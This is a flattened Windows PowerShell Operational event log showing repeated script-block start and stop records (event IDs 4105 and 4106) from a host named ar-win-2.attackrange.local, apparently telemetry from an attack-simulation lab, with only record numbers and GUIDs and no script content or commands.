410515102150x0676345Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676344Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676343Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676342Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676341Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676340Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676339Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676338Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676337Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676336Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676335Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676334Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676333Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676332Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676331Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676330Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676329Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676328Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676327Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676326Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676325Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676324Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676323Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676322Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676321Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676320Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676319Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676318Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676317Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676316Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676315Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676314Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676313Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676312Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676311Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676310Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676309Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676308Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676307Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676306Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676305Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676304Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676303Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676302Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676301Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676300Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676299Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676298Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676297Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676296Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676295Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676294Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676293Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676292Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676291Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676290Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676289Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676288Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676287Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676286Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676285Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676284Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676283Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676282Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676281Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676280Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676279Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676278Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676277Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676276Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676275Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676274Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676273Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676272Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676271Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676270Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676269Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676268Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676267Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676266Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676265Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676264Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676263Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676262Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676261Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676260Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676259Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676258Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676257Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676256Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676255Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676254Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676253Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676252Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676251Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676250Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676249Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676248Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676247Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676246Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676245Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676244Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676243Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676242Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676241Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676240Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676239Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676238Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676237Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676236Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676235Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676234Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676233Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676232Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676231Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676230Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676229Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676228Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676227Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676226Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676225Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676224Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676223Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676222Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676221Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676220Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676219Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676218Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676217Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676216Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676215Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676214Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676213Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676212Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676211Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676210Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676209Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676208Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676207Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676206Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676205Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676204Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676203Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676202Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676201Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676200Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676199Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676198Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676197Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676196Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676195Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676194Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676193Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676192Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676191Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676190Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676189Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676188Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676187Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676186Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676185Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676184Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676183Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 